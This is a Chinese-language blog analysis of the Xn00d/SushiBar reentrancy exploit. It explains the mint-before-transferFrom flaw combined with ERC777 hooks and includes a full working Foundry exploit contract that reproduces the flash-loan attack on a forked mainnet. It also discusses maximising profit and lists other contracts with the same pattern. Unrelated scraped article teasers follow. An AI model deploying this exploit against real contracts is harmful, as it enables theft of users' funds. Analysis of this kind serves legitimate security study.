4700 万美元损失,Xn00d 合约漏洞攻击事件分析
4700 万美元损失,Xn00d 合约漏洞攻击事件分析
基础知识
ERC777
ERC777 是 ERC20 标准的高级代币标准,要提供了一些新的功能:运营商及钩子。
- 运营商功能。通过此功能能够允许第三方账户代表某一合约或者地址
进行代币的发送交易 - 钩子功能。给该合约或者地址对其账户中的代币更多的控制权,防止运营商作恶,同时可以定义地址或者合约对某些代币进行控制以及提供拒绝接收某些代币功能
举个简单的栗子解释这两个功能(更多详细内容可阅读参考部分提供的链接)。
运营商功能:某区块链公司的老板使用某种基于 ERC777 的 A 代币作为工资发放,公司账户一共有 500 万的 A 代币,而经过人事的计算,本月共应发总工资为 200 万代币 A,那么公司老板就可以将财务的以太坊钱包地址作为运营商,并授权 200 万 A 代币的使用权限,那么财务便有权限使用公司地址 500 万中的 200 万 A 代币,并且对于公司来说,其余的金额是安全的。
钩子功能:可用来限制运营商的一些权限。如公司老板可以通过钩子规定运营商对公司账户中授权的 200 万 A 代币的走向做一个限制,规定只能转向某些已经标名备注了的地址,例如公司全体员工地址,以及限定单笔可发送的最大值等等。
基本知识
攻击的背景
攻击发生时间 2022-10-26 12:46:59
区块高度:15826380
攻击者: 0x8Ca72F46056D85DB271Dd305F6944f32A9870FF0
受害合约: 0x9C5A2A6431523fBBC648fb83137A20A2C1789C56
pair 合约: 0x5476DB8B72337d44A6724277083b1a927c82a389 为 n00dToken 与 WETH 的 pair 合约,为 uniswapV2 的 pair 合约。
SushiBar ERC20 合约地址:0x3561081260186E69369E6C32F280836554292E08
n00dToken ERC777 合约地址: 0x2321537fd8EF4644BacDCEec54E5F35bf44311fA
这两个合约是什么关系?SushiBar 合约中有个 sushi 的合约变量,指向的是 n00dToken,
contract n00dToken is ERC777 {constructor(uint256 initialSupply, address[] memory defaultOperators)ERC777("n00dle", "n00d", defaultOperators){_mint(msg.sender, initialSupply, "", "");}
}
攻击最终获利多少呢?
通过上图,从资产转移来看,最终的攻击效果是,黑客攻击了 SushiBar 合约,从 SushiBar 合约中提取了 42,752 价值的 n00dToken,用 42,752 的 n00dToken 在 Uniswap 中换了价值 29,388 的 WETH,最后将 29,388 的 WETH 换成了 ETH.
sushiBar 合约的 enter 函数代码
功能:将 n00dToken 兑换成 bar 币。
输入:要兑换的 n00dToken 的数量。
输出:兑换出 bar 币到 msg.sender 中。
函数执行过程中
mint 出凭证,得到发送者的 noodToken。(注意这里的顺序,是先 mint,后得到 noodToken,这也是漏洞出现的原因)
调用 enter 后,sushiBar 合约会 mint 出一定数量的凭证,然后从 noodToken 中转移_amount 数量的 noodToken 到 sushiBar 合约中。
// Enter the bar. Pay some SUSHIs. Earn some shares.function enter(uint256 _amount) public {uint256 totalSushi = sushi.balanceOf(address(this));uint256 totalShares = totalSupply();if (totalShares == 0 || totalSushi == 0) {_mint(msg.sender, _amount);} else {uint256 what = _amount.mul(totalShares).div(totalSushi);_mint(msg.sender, what);}sushi.transferFrom(msg.sender, address(this), _amount);}
// enter 的计算方式: uint barSwapCount = enterAmount.mul(bar.totalSupply()).div(n00d.balanceOf(BARADDR));
假设输入的 n00dToken 币数量为 n,可兑换出的 bar 的数量为 b,bar 合约的 totalSupply 为 T,bar 合约的 n00dToken 余额(n00d.balanceOf(BARADDR))为 B。则有
b=n*T/B (1)
enter 完成后,T 的值和 B 的值都会发生变化,各自的变量函数如下:
T‘ = T + b (2)
B’ = B + n (3)
sushiBar 合约的 leave 函数代码
功能:将 bar 币兑换成 n00dToken。
输入: 要兑换的 bar 币的数量
输出:兑换出 n00dToken 到 msg.sender
function leave(uint256 _share) public {uint256 totalShares = totalSupply();uint256 what = _share.mul(sushi.balanceOf(address(this))).div(totalShares);_burn(msg.sender, _share);sushi.transfer(msg.sender, what);}
}
// uint n00dSwapCount = (bar.balanceOf(address(this)).mul(n00d.balanceOf(BARADDR))).div(bar.totalSupply());
假设输入的 bar 币数量为 b’,可兑换出的 n00dToken 的数量为 n’,bar 合约的 totalSupply 为 T’,bar 合约的 n00dToken 余额(n00d.balanceOf(BARADDR))为 B’。则有
n’=b’*B’/T’ (4)
SushiBar 与 n00dToken 的关系
假设这样一个场景:用户在 enter 中使用 n 个 n00dToken,mint 出 b 个 bar 币。如果这个用户在 leave 中 burn 掉这 b 个 bar 币,可以得到多少个 n00dToken?
根据 4,得到的 n’=b’*B’/T’
因为 b’就是 mint 出来的,所以 b’=b
所以 n’=b’*B’/T’ = bB’/T’ 将(2)代入 = bB’/(T+b) 将(1)换成 T=bB/n 代入 = bB’/(bB/n + b)= n
所以使用 n 个 n00dToken mint 的 b 个 bar 币,直接 leave 掉的话,还会得到 n 个 n00dToken.
漏洞原理
漏洞关键点:
1.先 mint 后 transferFrom 的漏洞代码
漏洞出现在上面的 shiBar 合约的 enter 函数中,shiBar 合约中,主要是因为先执行了 mint,后执行了 transferFrom。
// Enter the bar. Pay some SUSHIs. Earn some shares.function enter(uint256 _amount) public {uint256 totalSushi = sushi.balanceOf(address(this));uint256 totalShares = totalSupply();if (totalShares == 0 || totalSushi == 0) {_mint(msg.sender, _amount);} else {uint256 what = _amount.mul(totalShares).div(totalSushi);_mint(msg.sender, what);}sushi.transferFrom(msg.sender, address(this), _amount);}
2. ERC777 的钩子函数。
n00dToken 使用了 ERC777 的规范,所以可以对 n00dToken 设置钩子函数,从而可以劫持 1 中的 transfrom,在钩子函数中再次调用 enter 实现重入。
💩 研究发现,先 mint 后 transFrom 的合约还是有很多的。比如下面的:
0x8798249c……1865ff4272
0xf7a038375……ff98e3790202b3
0x9257fb8fa……47403617b1938
0x36b679bd……dcb892cb66bd4cbb
漏洞分析
典型的重入漏洞,分析重入漏洞两板斧:
- 找循环
- 找代币变化。
找循环的调用关系
bar.enter()→bar.mint()→hack.tokensToSend→bar.enter→bar.mint()→hack.tokensToSend→……
→n00dToken.transferFrom
标颜色的两个部分实现了循环调用,在循环调用完成后(这时已经调用了多次的 mint)才会调用 n00dToken.transferFrom 进行转账。
找代币变化
“吃了两碗的粉,只给了一碗的钱”。正常情况下,调用完一次 mint,就会转账,然后更新各类的 balance。但在重入的情况下,调用了第 1 次的 mint,没进行转账和 balance 更新,又调用第 2 次 mint,也没进行转账和 balance 更新,直到 n 次重入完成后,才进行第 1 次 mint 时的转账和 balance 更新,相同于第 2,3……,n 次时还是用第 1 次 mint 时的价格结的账。
1.循环调用
bar.enter()中先 mint 后 transfer,transfer 会调用到黑客的 tokensToSend,黑客在 tokensToSend 函数中再次调用 bar.enter()
2.代币变化
正常情况与重入状态下的代币的变化
💩 总结: 1.正常情况下,同等数量的 n00dToken 会 mint 出相同数量的 bar。 2.正常情况下和重入攻击情况下,最终的 n00d.balanceOf(bar)会相同,但 bar.supply 重入攻击情况下比正常情况下大。 因为重入中,最终的 transferFrom 都会执行,所以 n00d.balanceOf(bar)会相同。 而由于差价的改变,重入时多 mint 了 bar,所以 bar.supply 重入攻击情况下比正常情况下大。 3. 重入攻击的作用就是在拖延了 transferFrom 的执行,因为 transferFrom 会引起价格变化,拖延 transferFrom 的执行就相同于延缓了价格变化,用低价 mint 了后面几次。
我们可以比较在当时的区块上,正常转账与重入攻击状态下转账的情况。
正常转账情况
不论是一性转入还是分三次转。最终 mint 出来的 bar 的数量是一致的,都为 14900396190115982310618。
- 一次性 entry 15110473474058799859170 = 3 * 5036824491352933286390, 会 mint 出 sushiBar 数量为 14900396190115982310618
- 分三次,每次 entry 5036824491352933286390。可以看到每次使用相同的 n00dToken 都会兑换出相同的 bar,每次 mint 后都会引起 bar.supply 和 n00d.balanceOf(bar)的变化。三次共 mint 出的 bar 数量: 14900396190115982310618
第一次 mint 出的 bar 数量: 4966798730038660770206
第二次 mint 出的 bar 数量: 4966798730038660770206
第三次 mint 出的 bar 数量: 4966798730038660770206 在这三次 mint 的过程中,bar.supply 和 n00d.balanceOf(bar)的变化情况如下:bar.supply: 7946728885657408588790 , n00d.ban: 8058768001881461618923Enter 5036824491352933286390 n00d -> 4966798730038660770206 barbar.supply: 12913527615696069358996, n00d.ban: 13095592493234394905313Enter 5036824491352933286390 n00d -> 4966798730038660770206 barbar.supply: 17880326345734730129202, n00d.ban: 18132416984587328191703Enter 5036824491352933286390 n00d -> 4966798730038660770206 barbar.supply: 22847125075773390899408, n00d.ban: 23169241475940261478093 加粗的表示每次 mint 出来的 bar 的数量。棕色底的数值上面的两个加起来会等于下面的。绿色的数值上面的两个加起来会等于下面的。
重入攻击情况下
而在重入情况下。mint 出来的 bar 数量为 34100275953928728876790>14900396190115982310618。
在攻击中,一共输入 5036824491352933286390 进行了 3 次的 entry。共 mint 出 26153547068271320288007。
攻击中共调用了三次 entry,每次 mint 出来的数量如下:
before Enter]bar.supply: 7946728885657408588790 , n00d.ban: 8058768001881461618923
三次共 mint:26153547068271320288007
第一次 mint: 4966798730038660770207
第二次 mint: 8071106172719568973063
第三次 mint: 13115642165513090544737
bar.supply: 34100275953928728876790, n00d.ban: 23169241475940261478093
黑客攻击过程
调用过程,hackEOA 调用了 hackCon 的 fc7e3db8 函数。
- 调用[ERC1820Registry].setInterfaceImplementer,这样在ERC777转账的钩子函数中会调用到注册的实现函数。
- [UniswapV2Pair].getReserves()。计算出pair合约中的n00dToken的储备量。
- n00dToke.approve(SushiBar,10073648982705866572782000)。根据 2 中计算出的n00dToken 的储备量来进行授权,授权的数量为储备量*500
- 进行 uniswap 中的闪电贷功能。调用 uniswapV2Pair 的 swap。贷出 pair 合约中的所有的 n00dToken,使用 data 使用 0x333,会触发回调 hackCon 合约的 uniswapV2Call 函数
- hackCon 合约的 uniswapV2Call 函数
- [SushiBar].enter(_amount=5036824491352933286391)💩 为什么 enter 这个数字?比如第一次调用 sushiBar.enter 时,贷出的 n00dToken 数量为:20147297965411733145563,却只使用了 5036824491352933286391?因为 enter 时只拿出了 1/4 的进入 sushiBar.enter 那为什么拿 1/4 进入?
另外的 2/3 用于钩子函数中 tokensToSend 中,在重入时的使用。每次重入执行 3 次 enter,每次使用 1/3 的贷款 enter 函数的主要操作主要有两个:1.mint 出凭证。2.从调用者获得 noodToken 的输入。这两个是按从 1 到 2 的顺序执行的。在执行动作 2 时会调用到 n00dToken 的 transferFrom,因为 n00dToken 是 ERC777,所以会调用到钩子函数,对应着 hackCon 的 tokensToSend 函数,而这个函数是黑客合约中自己写的代码,黑客在这个函数中又调用了 SushiBar 的 enter 函数。至此,这一步的调用过程从 enter 来,最终又调用 enter,一个循环就此产生,也就是重入攻击。在这里执行 3 次后,得到一大笔凭证。 - [SushiBar].leave,会将凭证毁掉,取回n00dToken
- 将取回 n00dToken 归还闪电贷的本息。
- [SushiBar].enter(_amount=5036824491352933286391)💩 为什么 enter 这个数字?比如第一次调用 sushiBar.enter 时,贷出的 n00dToken 数量为:20147297965411733145563,却只使用了 5036824491352933286391?因为 enter 时只拿出了 1/4 的进入 sushiBar.enter 那为什么拿 1/4 进入?
- 将此时的所有的 n00dToken 在 uniswap 中兑换成 WETH。
- 循环执行上面的 2-5 步,重复 4 次。最终得到 20.82 个 WETH.
漏洞复现
参考代码(可联系获取):
anvil --fork-url https://rpc.ankr.com/eth --fork-block-number 15826379
代码中有 3 要要注意的变量,这三个变量根据重入漏洞和池子 reserve 的不同,追求利益最大化时要动态调整。
- uint ATTACK_COUNT = 4; // 记录共进行了几次攻击
- uint RECOUNT_PER_ATTACK = 2; // 记录每次攻击中执行几次重入操作
- enterAmount //在闪电贷调用函数中 uniswapV2Call,将贷入的资金分了几份,表示每份资金的数量,黑客攻击过程中使用的是 4,因为共执行了 3 次 enter,需要用到 3 份资金,这里就比 3 多分了一份。
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;import "forge-std/Test.sol";
import "../src/interface.sol";
import "../src/SushiBar.sol";
import "forge-std/console2.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";contract ContractTest is Test{using SafeMath for uint256;address constant N00DADDR = 0x2321537fd8EF4644BacDCEec54E5F35bf44311fA;address constant BARADDR = 0x3561081260186E69369E6C32F280836554292E08;IERC777 n00d = IERC777(N00DADDR);sushiBar bar = sushiBar(BARADDR);Uni_Pair_V2 pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);uint enterAmount = 0;uint ATTACK_COUNT = 4; // 记录共进行了几次攻击uint RECOUNT_PER_ATTACK = 2; // 记录每次攻击中执行几次重入操作uint curCountPerAttack = 0;uint n00dReserve;uint wethReserve;function setUp() public {// cheats.createSelectFork("mainnet", 15826379);}function testExploit() public{registry.setInterfaceImplementer(address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this));for (uint256 curAttCount = 0; curAttCount < ATTACK_COUNT; curAttCount++) { // 共执行4次攻击console2.log("\n[Attack times: %d]", curAttCount);curCountPerAttack = 0; // 每轮攻击之前,将重入的次数归0(n00dReserve, wethReserve, ) = pair.getReserves();console2.log("\nPair n00dReserve: %d, wethReserve: %d", n00dReserve, wethReserve);n00d.approve(BARADDR, ~uint(0));bytes memory data = "0x333";pair.swap(n00dReserve - 1, 0, address(this), data); //进行闪电贷,会来到自定义的uniswapV2Call函数执行uint amountIn = n00d.balanceOf(address(this));(uint n00dR, uint WETHR, ) = pair.getReserves();uint amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);n00d.transfer(address(pair), amountIn);pair.swap(0, amountOut, address(this), "");emit log_named_decimal_uint("Attacker WETH profit after exploit",WETH.balanceOf(address(this)),18);}}function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public{enterAmount = (n00d.balanceOf(address(this))-1) / 4; // 攻击过程中使用的是4,因为共执行了3次enter,需要用到3份资金,这里就比3多分了一份。// enter的计算方式: uint barSwapCount = enterAmount.mul(bar.totalSupply()).div(n00d.balanceOf(BARADDR));bar.enter(enterAmount);// leave的计算方式: _share.mul(sushi.balanceOf(address(this))).div(totalShares);// uint n00dSwapCount = (bar.balanceOf(address(this)).mul(n00d.balanceOf(BARADDR))).div(bar.totalSupply());bar.leave(bar.balanceOf(address(this)));uint flashReAmount = n00dReserve * 1000 / 997 + 1;n00d.transfer(address(pair), flashReAmount); //归还闪电贷本息}function tokensToSend(address operator,address from,address to,uint256 amount,bytes calldata userData,bytes calldata operatorData) external {if(to == address(bar) && curCountPerAttack < RECOUNT_PER_ATTACK){ // 攻击者执行了2次curCountPerAttack++;bar.enter(enterAmount);}}function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata userData,bytes calldata operatorData) external {}}
思考
1.如何利益最大化
那么思考一个问题:是不是共攻击 4 次,每次执行 2 次重入就能利益最大化呢?
不是的。
可以试验,如果共攻击 3 次,每次执行 3 次重入时,能获得的收益(21ETH)比实际攻击过程的收益(20.82ETH)更大一点,但整个池子基本也就是这么大的一个盈利了,不能高出太多了。
那么有没有办法能把提取出的币更高一些呢?这就涉及到 uniswapV2 合约的计算了。
uniswap 的池子中最多可以取出多少?
根据 routerV2 合约中的 getAmountOut 的计算函数的代码。
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');uint amountInWithFee = amountIn.mul(997);uint numerator = amountInWithFee.mul(reserveOut);uint denominator = reserveIn.mul(1000).add(amountInWithFee);amountOut = numerator / denominator;}
假设是用 A 兑换 B,getAmountOut 是用来计算使用 amountIn 个 A 最终能兑换出的 B 的数量。
函数的输入输入:
amountIn: 用来兑换的 A 的数量,假设为 x。
reserveIn:A 的 reserve 储备量,假设为 X。
reserveOut:B 的 reserve 储备量,假设为 Y。
计算公式为:
根据这个公式,永远不可能把 Y 全部取出来,但会越来越接近 Y 的储备量。如果分多次取的话,后面取时,Y 的数量会起来越少,Y 的价格就会越来越高,同样 X 取出的 Y 就会越来越少,所以越到最后,取出 Y 所需要的 X 起来越多。
所以,回到这个问题的答案,那么有没有办法能把提取出的币更高一些呢?有的,攻击时只是从 0x5476DB8B72337d44A6724277083b1a927c82a389 的 pair 合约中借出 n00d 来进行攻击,如果可以从更多的地方想办法借更多的 n00d 代币,可能会使取出的币数量列多。
2.还有哪些有类似漏洞的代码
下面的代码中也有类似的问题,但因为对应的 n00d 合约使用的是 ERC20,并非 REC777,因此即使有重入的风险,但没法利用。
0x36b679bd64ed73dbfd88909cdcb892cb66bd4cbb Standard
0x8798249c2e607446efb7ad49ec89dd1865ff4272 SushiBar
相关文章:
4700 万美元损失,Xn00d 合约漏洞攻击事件分析
4700 万美元损失,Xn00d 合约漏洞攻击事件分析 基础知识 ERC777 ERC777 是 ERC20 标准的高级代币标准,要提供了一些新的功能:运营商及钩子。 运营商功能。通过此功能能够允许第三方账户代表某一合约或者地址 进行代币的发送交易钩子功能。…...
第5讲:v-if与v-show的使用方法及区别
v-if条件判断 v-if是条件渲染指令,它根据表达式的真假来删除和插入元素,它的基本语法如下: v-if “expression” expression是一个返回bool值的表达式,表达式可以是一个bool属性,也可以是一个返回bool的运算式 &#…...
C理解(一):内存与位操作
本文主要探讨C语言的内存和为操作操作相关知识。 冯诺依曼结构和哈佛结构 冯诺依曼结构:数据和代码放在一起,便于读取和修改,安全性低 哈佛结构是:数据和代码分开存放,安全性高,读取和修麻烦 内存 内存是用来存储全局变量、局…...
ESP8266使用记录(四)
放上最终效果 ESP8266&Unity游戏 整合放进了坏玩具车遥控器里 最终只使用了mpu6050的yaw数据,因为roll值漂移…… 使用了https://github.com/ElectronicCats/mpu6050 整个流程 ESP8266取MPU6050数据,处理后通过udp发送给Unity显示出来 MPU6050_Z…...
云原生Kubernetes:K8S安全机制
目录 一、理论 1.K8S安全机制 2.Authentication认证 3.Authorization授权 4.Admission Control准入控制 5.User访问案例 6.ServiceAccount访问案例 二、实验 1.Admission Control准入控制 2.User访问案例 3.ServiceAccount访问案例 三、问题 1.生成资源报错 2.镜…...
【数据结构】归并排序、基数排序算法的学习知识点总结
目录 1、归并排序 1.1 算法思想 1.2 代码实现 1.3 例题分析 2、基数排序 2.1 算法思想 2.2 代码实现 2.3 例题分析 1、归并排序 1.1 算法思想 归并排序是一种采用分治思想的经典排序算法,通过将待排序数组分成若干个子序列,将每个子序列排序ÿ…...
【C++】C++模板进阶 —— 非类型模板参数、模板的特化以及模板的分离编译
📝个人主页:Sherry的成长之路 🏠学习社区:Sherry的成长之路(个人社区) 📖专栏链接:C学习 🎯长路漫漫浩浩,万事皆有期待 上一篇博客:【C】C多…...
HTML的相关知识
1.什么是HTML?基本语法 HTML: Hyper Text Markup Language (超文本标记语言) 超文本?超级文本,例如流媒体,声音、视频、图片等。 标记语言?这种语言是由大量的标签组成。HTML标签参考手…...
基于微信小程的流浪动物领养小程序设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言系统主要功能:具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding)有保障的售后福利 代码参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计…...
Java后端接口编写流程
💗wei_shuo的个人主页 💫wei_shuo的学习社区 🌐Hello World ! Java后端接口编写流程 Java后端接口编写流程,更具业务逻辑编写Java后端接口,提供给前端访问 实现逻辑流程 POJO:实体类编写 Data B…...
【问题记录】解决“命令行终端”和“Git Bash”操作本地Git仓库时出现 中文乱码 的问题!
环境 Windows 11 家庭中文版git version 2.41.0.windows.1 问题情况 在使用 “命令行终端” 和 “Git Bash” 在本地Git仓库敲击命令时,对中文名称文件显示一连串的数字,如下所示:这种情况通常是由于字符编码设置不正确所引起的 解决办法 设置…...
软考高级之系统架构师之软件需求工程
概述 一个完整的软件生存周期是以需求为出发点。软件需求是指用户对系统在功能、行为、性能、设计约束等方面的期望。 需求开发: 需求获取需求分析需求定义(需求规格说明书)需求验证 需求管理: 变更控制版本控制需求跟踪需求状态跟踪 需…...
使用 Velocity 模板引擎的 Spring Boot 应用
使用 Velocity 模板引擎的 Spring Boot 应用 模板引擎是构建动态内容的重要工具,特别适用于生成HTML、邮件内容、报告和其他文本文档。Velocity是一个强大的模板引擎,它具有简单易用的语法和灵活性。本文将介绍如何在Spring Boot应用中使用Velocity模板…...
mysql的mvcc详解
一 MVCC的作用 1.1 mvcc的作用 1.MVCC(Multiversion Concurrency Control)多版本并发控制。即通过数据行的多个版本管理来实现数据库的并发控制,使得在InnoDB事务隔离级别下执行一致性读操作有了保障。 2.mysql中的InnoDB中实现了MVCC主要…...
FreeRTOS两个死机原因(中断调用接口异常)【杂记】
1、中断回调函数中没有使用中断级API (xxFromISR) 函数 xSemaphoreGiveFromISR(uart_busy,&HighterTask);----正确 xSemaphoreGive(uart_busy);-----错误2、比configMAX_SYSCALL_INTERRUPT_PRIORITY优先级高的中断函数中使用了FreeRTOS的函数 3、临界代码保护后不可调用os…...
【AI视野·今日Robot 机器人论文速览 第四十三期】Thu, 28 Sep 2023
AI视野今日CS.Robotics 机器人学论文速览 Thu, 28 Sep 2023 Totally 37 papers 👉上期速览✈更多精彩请移步主页 Interesting: 📚****触觉力控学习策略,基于触觉的主动推理与力控用于小孔插入任务。提出了姿态控制与插入控制双策略模型。 (from 东京大学…...
批量快捷创建新数组的几种方式
1. for循环, push(比较简单, 就不上代码了) 2.创建空数组,填充null,然后map: function createData() { return new Array(1000) .fill(null) .map((v,i)>({name: name${i1}})) } console.log(createData()) 3.Array.frommap function createData() { return Array.from…...
单目标应用:基于沙丁鱼优化算法(Sardine optimization algorithm,SOA)的微电网优化调度MATLAB
一、沙丁鱼优化算法 沙丁鱼优化算法(Sardine optimization algorithm,SOA)由Zhang HongGuang等人于2023年提出,该算法模拟沙丁鱼的生存策略,具有搜索能力强,求解精度高等特点。 沙丁鱼主要以浮游生物为食,这些生物包括细菌、腔肠…...
基于Halo搭建个人博客
准备 云服务器 安装Docker 开启8090端口 步骤 拉取Halo镜像 docker pull halohub/halo:2.1.0 制作容器并启动 docker run -it -d --name halo -p 8090:8090 -v ~/.halo2:/root/.halo2 halohub/halo:2.1.0 --halo.external-urlhttp://服务器ip:8090/ --halo.security.in…...
DPDK系列之三十一DPDK的并行机制简介
一、并行机制 什么是并行机制?这个很多开发者的眼中,其实是模糊的。可能说起来头头是道,但是细一查究竟,发现都是飘在空中的东西。在前面的“多核和多CPU编程”中,对并行机制已经进行了较深入的分析,这里只…...
【Java】复制数组的四种方式
1. System.arraycopy() 用来将一个数组的(一部分)内容复制到另一个数组里面去。 定义: void arraycopy(Object src, int srcPos, Object dest, int destPos, int length);例: int[] arr1 { 1, 2, 3, 4, 5 }; int[] arr2 new…...
设计模式5、原型模式 Prototype
解释说明:使用原型实例指定待创建对象的类型,并且通过复制这个原型阿里创建型的对象 UML 结构图: 抽象原型(Prototype):规定了具体原型对象必须实现的clone()方法 具体原型(ConcretePrototype&…...
驱动挂载物理页代码示例
驱动挂载物理页代码示例 使用的实验环境为32位xp系统在101012分页模式下 此实验用于测试对分页模式的掌握程度 代码思路如下: 获取目标进程的cr3在目标进程中申请新的物理页拆分新申请的物理页的线性地址通过差分出的内容获取pte将pte写入到要挂载的线性地址的p…...
【新版】系统架构设计师 - 层次式架构设计理论与实践
个人总结,仅供参考,欢迎加好友一起讨论 文章目录 架构 - 层次式架构设计理论与实践考点摘要层次式体系结构概述表现层框架设计MVC模式MVP模式MVVM模式使用XML设计表现层表现层中UIP设计思想 中间层架构设计业务逻辑层工作流设计业务逻辑层设计 数据访问层…...
大数据Flink(九十):Lookup Join(维表 Join)
文章目录 Lookup Join(维表 Join) Lookup Join(维表 Join) Lookup Join 定义(支持 Batch\Streaming):Lookup Join 其实就是维表 Join,比如拿离线数仓来说,常常会有用户画像,设备画像等数据,而对应到实时数仓场景中,这种实时获取外部缓存的 Join 就叫做维表 Join。…...
Docker方式创建MySQL8的MGR集群
目录 一、MGR简述二、安装环境及要求2.1 系统版本2.2 网络要求 三、安装步骤3.1 创建容器3.2 创建用户3.3 安装插件3. 4 启动集群3.5 加入集群 四、查看集群查看 MGR 组成员列表查看 MGR 组成员拓扑信息 五、其他说明集群配置要求集群配置限制集群相关变量和状态 一、MGR简述 …...
问 ChatGPT 关于GPT的事情:扩展篇
一、GPT预训练有什么节省显存和算力的技巧吗?我如何拿四块A100完成175B模型的预训练? 对于GPT预训练,有一些技巧可以帮助节省显存和算力。以下是一些常用的技巧: 按批次截断:在较长的文本序列中,将其切割…...
Spring Boot 集成 MinIO 实现文件上传、下载和删除
MinIO 是一种开源的对象存储服务,它基于云原生架构构建,并提供了高性能、易于扩展和安全的存储解决方案。 一.安装和配置 MinIO 服务器 为了演示方便,本文采用Windows安装 1.在官方网站下载MinIO 安装文件,地址:ht…...
Polygon Miden交易模型:Actor模式 + ZKP => 并行 + 隐私
1. 引言 前序博客: Polygon Miden:扩展以太坊功能集的ZK-optimized rollupPolygon Miden zkRollup中的UTXO账户混合状态模型 Polygon Miden为: ZK-optimized rollup由客户端生成证明完善Polygon ZK系列解决方案,致力于成为网络…...
Java流的体系结构(二)
文章目录 一、对象流的使用1.概念2.序列化机制3.代码案例:序列化过程:将内存中的java对象保存到磁盘中或通过通络传输出去4.反序列化,将磁盘文件中的对象还原为内存中的一个java对象 二、RandomAccessFile的使用1.说明2.代码案例 提示&#x…...
团队网站模板/盐城seo排名
从MySQL binlog得到你要的SQL。根据不同设置,你可以得到原始SQL、回滚SQL、去除主键的INSERT SQL等。 用途 数据回滚 主从切换后数据不一致的修复 从binlog生成标准SQL,带来的衍生功能 安装 $ git clone https://github.com/danfengcao/binlog2sql.git …...
长春比较有名的做网站建设/百度搜索风云榜排名
昨天中午午饭后,和KK去星巴克买咖啡,收银小姐每次都会把客人的姓写在杯子上,这样就不会搞错了。这次小姐又问了,我和KK同时回答,我回答说“康”,她回答说“王”,结果小姐就说“是唐小姐对吗&…...
合肥网络推广服务/企业网站优化哪家好
在jquery中最常使用的就是$这个符号了,在我没有系统的学习jquery之前,我用到的$都是用于对元素的选择,而这只是$的很简单的用法。在jquery$()函数一共有三种用法: $(selector,context)在这个方法中selector是选择器,co…...
oa系统的概念/谷歌seo外包
添加多台压力机1、前置条件1)保证压力机上都安装了loadrunner Agent,并启动,状态栏中会有小卫星。2)添加的压力机与controller所在机器是否在同一个网段,建议关闭防火墙。在controller压力机上 ping 下连接压力机&…...
广饶网站建设/郑州seo关键词
1.2 发展型机器人学的定义与起源 发展型机器人学是人工智能系统(机器人)中对行为和认知能力进行自主设计的具有跨学科背景的研究方法,它的灵感直接来源于在儿童先天认知系统中观察到的发展原则和机制。发展型机器人学的主要思想是࿱…...
上海品牌网站建设公司/软文标题
在Oracle中判断一个用户自定义对象是否存在,可以通过如下Sql语句来实现:select * from user_objects where object_name YOUROBJECT;这样可以取得对象的所有信息. 需要注意的是:1.查询条件中的对象名要大写2.对象名有可能重复,所以需要再指定一个OBJECT_TYPE条件,才能更精确的判…...